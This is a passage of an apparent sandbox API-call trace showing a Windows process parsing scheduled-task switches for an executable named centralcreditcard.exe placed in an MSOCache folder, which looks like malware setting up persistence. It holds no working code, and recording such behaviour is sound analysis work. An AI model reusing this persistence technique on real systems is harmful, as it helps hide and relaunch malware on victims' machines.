_ArgList=0x13c4c8 | out: _Buffer="|s|") returned 3 [0080.976] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.976] lstrlenW (lpString="|s|") returned 3 [0080.976] lstrlenW (lpString="|tr|") returned 4 [0080.976] SetLastError (dwErrCode=0x490) [0080.976] lstrlenW (lpString="u") returned 1 [0080.976] lstrlenW (lpString="u") returned 1 [0080.976] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.976] lstrlenW (lpString="tr") returned 2 [0080.976] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.976] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|u|") returned 3 [0080.976] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.976] lstrlenW (lpString="|u|") returned 3 [0080.976] lstrlenW (lpString="|tr|") returned 4 [0080.976] SetLastError (dwErrCode=0x490) [0080.976] lstrlenW (lpString="p") returned 1 [0080.976] lstrlenW (lpString="p") returned 1 [0080.976] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.976] lstrlenW (lpString="tr") returned 2 [0080.976] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.976] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|p|") returned 3 [0080.976] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.976] lstrlenW (lpString="|p|") returned 3 [0080.976] lstrlenW (lpString="|tr|") returned 4 [0080.976] SetLastError (dwErrCode=0x490) [0080.976] lstrlenW (lpString="ru") returned 2 [0080.976] lstrlenW (lpString="ru") returned 2 [0080.976] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.976] lstrlenW (lpString="tr") returned 2 [0080.977] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.977] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|ru|") returned 4 [0080.977] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.977] lstrlenW (lpString="|ru|") returned 4 [0080.977] lstrlenW (lpString="|tr|") returned 4 [0080.977] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0080.977] SetLastError (dwErrCode=0x490) [0080.977] lstrlenW (lpString="rp") returned 2 [0080.977] lstrlenW (lpString="rp") returned 2 [0080.977] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.977] lstrlenW (lpString="tr") returned 2 [0080.977] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.977] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|rp|") returned 4 [0080.977] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.977] lstrlenW (lpString="|rp|") returned 4 [0080.977] lstrlenW (lpString="|tr|") returned 4 [0080.977] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0080.977] SetLastError (dwErrCode=0x490) [0080.977] lstrlenW (lpString="sc") returned 2 [0080.977] lstrlenW (lpString="sc") returned 2 [0080.977] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.977] lstrlenW (lpString="tr") returned 2 [0080.977] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.977] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.977] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.977] lstrlenW (lpString="|sc|") returned 4 [0080.977] lstrlenW (lpString="|tr|") returned 4 [0080.977] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0080.977] SetLastError (dwErrCode=0x490) [0080.977] lstrlenW (lpString="mo") returned 2 [0080.977] lstrlenW (lpString="mo") returned 2 [0080.977] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.977] lstrlenW (lpString="tr") returned 2 [0080.978] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.978] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.978] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.978] lstrlenW (lpString="|mo|") returned 4 [0080.978] lstrlenW (lpString="|tr|") returned 4 [0080.978] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0080.978] SetLastError (dwErrCode=0x490) [0080.978] lstrlenW (lpString="d") returned 1 [0080.978] lstrlenW (lpString="d") returned 1 [0080.978] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.978] lstrlenW (lpString="tr") returned 2 [0080.978] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.978] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|d|") returned 3 [0080.978] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.978] lstrlenW (lpString="|d|") returned 3 [0080.978] lstrlenW (lpString="|tr|") returned 4 [0080.978] SetLastError (dwErrCode=0x490) [0080.978] lstrlenW (lpString="m") returned 1 [0080.978] lstrlenW (lpString="m") returned 1 [0080.978] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.978] lstrlenW (lpString="tr") returned 2 [0080.978] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.978] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|m|") returned 3 [0080.978] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.978] lstrlenW (lpString="|m|") returned 3 [0080.978] lstrlenW (lpString="|tr|") returned 4 [0080.978] SetLastError (dwErrCode=0x490) [0080.978] lstrlenW (lpString="i") returned 1 [0080.978] lstrlenW (lpString="i") returned 1 [0080.978] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.978] lstrlenW (lpString="tr") returned 2 [0080.978] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.979] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|i|") returned 3 [0080.979] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.979] lstrlenW (lpString="|i|") returned 3 [0080.979] lstrlenW (lpString="|tr|") returned 4 [0080.979] SetLastError (dwErrCode=0x490) [0080.979] lstrlenW (lpString="tn") returned 2 [0080.979] lstrlenW (lpString="tn") returned 2 [0080.979] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.979] lstrlenW (lpString="tr") returned 2 [0080.979] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.979] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tn|") returned 4 [0080.979] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.979] lstrlenW (lpString="|tn|") returned 4 [0080.979] lstrlenW (lpString="|tr|") returned 4 [0080.979] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0080.979] SetLastError (dwErrCode=0x490) [0080.979] lstrlenW (lpString="tr") returned 2 [0080.979] lstrlenW (lpString="tr") returned 2 [0080.979] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.979] lstrlenW (lpString="tr") returned 2 [0080.979] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.979] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.979] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|tr|") returned 4 [0080.979] lstrlenW (lpString="|tr|") returned 4 [0080.979] lstrlenW (lpString="|tr|") returned 4 [0080.979] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0080.979] SetLastError (dwErrCode=0x0) [0080.979] SetLastError (dwErrCode=0x0) [0080.979] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.979] lstrlenW (lpString="-/") returned 2 [0080.979] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0080.979] SetLastError (dwErrCode=0x490) [0080.979] SetLastError (dwErrCode=0x490) [0080.979] SetLastError (dwErrCode=0x0) [0080.980] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.980] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'" [0080.980] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.980] _memicmp (_Buf1=0x27c4d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.980] _memicmp (_Buf1=0x27c510, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.980] SetLastError (dwErrCode=0x7a) [0080.980] SetLastError (dwErrCode=0x0) [0080.980] SetLastError (dwErrCode=0x0) [0080.980] lstrlenW (lpString="'C") returned 2 [0080.980] lstrlenW (lpString="-/") returned 2 [0080.980] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0080.980] SetLastError (dwErrCode=0x490) [0080.980] SetLastError (dwErrCode=0x490) [0080.980] SetLastError (dwErrCode=0x0) [0080.980] _memicmp (_Buf1=0x27d700, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.980] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.980] GetProcessHeap () returned 0x260000 [0080.980] HeapValidate (hHeap=0x260000, dwFlags=0x0, lpMem=0x27d720) returned 1 [0080.980] GetProcessHeap () returned 0x260000 [0080.980] RtlReAllocateHeap (Heap=0x260000, Flags=0xc, Ptr=0x27d720, Size=0xae) returned 0x27c5f0 [0080.980] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.980] lstrlenW (lpString=" \x09") returned 2 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0080.980] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0080.981] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.981] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0080.982] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0080.983] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0080.983] GetLastError () returned 0x0 [0080.983] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.983] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0080.983] SetLastError (dwErrCode=0x0) [0080.983] SetLastError (dwErrCode=0x0) [0080.983] lstrlenW (lpString="/f") returned 2 [0080.983] lstrlenW (lpString="-/") returned 2 [0080.983] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.983] lstrlenW (lpString="create") returned 6 [0080.983] lstrlenW (lpString="create") returned 6 [0080.983] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.983] lstrlenW (lpString="f") returned 1 [0080.983] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.983] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|create|") returned 8 [0080.983] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.983] lstrlenW (lpString="|create|") returned 8 [0080.983] lstrlenW (lpString="|f|") returned 3 [0080.983] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0080.983] SetLastError (dwErrCode=0x490) [0080.983] lstrlenW (lpString="?") returned 1 [0080.983] lstrlenW (lpString="?") returned 1 [0080.983] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.983] lstrlenW (lpString="f") returned 1 [0080.983] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.983] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|?|") returned 3 [0080.983] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.983] lstrlenW (lpString="|?|") returned 3 [0080.983] lstrlenW (lpString="|f|") returned 3 [0080.983] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0080.983] SetLastError (dwErrCode=0x490) [0080.983] lstrlenW (lpString="s") returned 1 [0080.983] lstrlenW (lpString="s") returned 1 [0080.983] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.984] lstrlenW (lpString="f") returned 1 [0080.984] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.984] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|s|") returned 3 [0080.984] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.984] lstrlenW (lpString="|s|") returned 3 [0080.984] lstrlenW (lpString="|f|") returned 3 [0080.984] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0080.984] SetLastError (dwErrCode=0x490) [0080.984] lstrlenW (lpString="u") returned 1 [0080.984] lstrlenW (lpString="u") returned 1 [0080.984] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.984] lstrlenW (lpString="f") returned 1 [0080.984] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.984] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|u|") returned 3 [0080.984] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.984] lstrlenW (lpString="|u|") returned 3 [0080.984] lstrlenW (lpString="|f|") returned 3 [0080.984] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0080.984] SetLastError (dwErrCode=0x490) [0080.984] lstrlenW (lpString="p") returned 1 [0080.984] lstrlenW (lpString="p") returned 1 [0080.984] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.984] lstrlenW (lpString="f") returned 1 [0080.984] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.984] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|p|") returned 3 [0080.984] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.984] lstrlenW (lpString="|p|") returned 3 [0080.984] lstrlenW (lpString="|f|") returned 3 [0080.984] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0080.984] SetLastError (dwErrCode=0x490) [0080.984] lstrlenW (lpString="ru") returned 2 [0080.984] lstrlenW (lpString="ru") returned 2 [0080.984] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.985] lstrlenW (lpString="f") returned 1 [0080.985] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.985] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|ru|") returned 4 [0080.985] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.985] lstrlenW (lpString="|ru|") returned 4 [0080.985] lstrlenW (lpString="|f|") returned 3 [0080.985] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0080.985] SetLastError (dwErrCode=0x490) [0080.985] lstrlenW (lpString="rp") returned 2 [0080.985] lstrlenW (lpString="rp") returned 2 [0080.985] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.985] lstrlenW (lpString="f") returned 1 [0080.985] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.985] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|rp|") returned 4 [0080.985] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.985] lstrlenW (lpString="|rp|") returned 4 [0080.985] lstrlenW (lpString="|f|") returned 3 [0080.985] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0080.985] SetLastError (dwErrCode=0x490) [0080.985] lstrlenW (lpString="sc") returned 2 [0080.985] lstrlenW (lpString="sc") returned 2 [0080.985] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.985] lstrlenW (lpString="f") returned 1 [0080.985] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.985] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|sc|") returned 4 [0080.985] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.985] lstrlenW (lpString="|sc|") returned 4 [0080.985] lstrlenW (lpString="|f|") returned 3 [0080.985] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0080.985] SetLastError (dwErrCode=0x490) [0080.985] lstrlenW (lpString="mo") returned 2 [0080.985] lstrlenW (lpString="mo") returned 2 [0080.986] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.986] lstrlenW (lpString="f") returned 1 [0080.986] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.986] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|mo|") returned 4 [0080.986] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.986] lstrlenW (lpString="|mo|") returned 4 [0080.986] lstrlenW (lpString="|f|") returned 3 [0080.986] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0080.986] SetLastError (dwErrCode=0x490) [0080.986] lstrlenW (lpString="d") returned 1 [0080.986] lstrlenW (lpString="d") returned 1 [0080.986] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.986] lstrlenW (lpString="f") returned 1 [0080.986] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.986] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|d|") returned 3 [0080.986] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.986] lstrlenW (lpString="|d|") returned 3 [0080.986] lstrlenW (lpString="|f|") returned 3 [0080.986] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0080.986] SetLastError (dwErrCode=0x490) [0080.986] lstrlenW (lpString="m") returned 1 [0080.986] lstrlenW (lpString="m") returned 1 [0080.986] _memicmp (_Buf1=0x27c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.986] lstrlenW (lpString="f") returned 1 [0080.986] _memicmp (_Buf1=0x27c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.986] _vsnwprintf (in: _Buffer=0x27c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|m|") returned 3 [0080.986] _vsnwprintf (in: _Buffer=0x27c3e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c4c8 | out: _Buffer="|f|") returned 3 [0080.986] lstrlenW (lpString="|m|") returned 3 [0080.986] lstrlenW (lpString="|f|") returned 3 [0080.986] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0080.986] SetLastError (dwErrCode=0x490) [0080.986] lstrlenW (lpString="i") returned 1 [0080.987] lstrlenW (lpString="i") returned 1 [0080.987] _memicmp 